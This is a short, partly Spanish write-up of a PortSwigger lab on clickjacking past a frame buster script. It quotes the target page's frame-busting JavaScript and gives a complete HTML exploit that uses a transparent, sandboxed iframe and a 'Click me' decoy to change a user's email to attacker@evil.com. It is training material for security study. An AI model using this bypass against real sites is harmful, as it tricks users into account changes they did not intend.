Clickjacking with a frame buster script

APPRENTICE LAB Not solved

This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address?

To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me". The lab is solved when the email address is changed.

You can log in to your own account using the following credentials: wiener:peter Note

The victim will be using Chrome so test your exploit on that browser.

https://siunam321.github.io/ctf/portswigger-labs/Clickjacking/clickjacking-3/

La web utiliza un snipet de javascript que puede ser eludido para asi obtener un iframe de la web

<div id=account-content>
    <p>Your username is: wiener</p>
    <p>Your email is: wiener@normal-user.net</p>
    <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
        <label>Email</label>
        <input required type="email" name="email" value="">
        <script>
        if(top != self) {
            window.addEventListener("DOMContentLoaded", function() {
                document.body.innerHTML = 'This page cannot be framed';
            }, false);
        }
        </script>
        <input required type="hidden" name="csrf" value="I0MsiFo62jqwQWve8ihfuOe1milL4ixH">
        <button class='button' type='submit'> Update email </button>
    </form>
</div>

Mediante el atributo sandbox

<html>
    <head>
        <title>Clickjacking with a frame buster script</title>
        <style type="text/css">
            #targetWebsite {
                position:relative;
                width:700px;
                height:700px;
                opacity:0.0001;
                z-index:2;
            }

            #decoyWebsite {
                position:absolute;
                top:450px;
                left:75px;
                z-index:1;
            }
        </style>
    </head>
    <body>
        <div id="decoyWebsite">Click me</div>
        <iframe id="targetWebsite" src="https://0ad800490468631a82ffde5500700062.web-security-academy.net?email=attacker@evil.com" sandbox="allow-forms"></iframe>
    </body>
</html>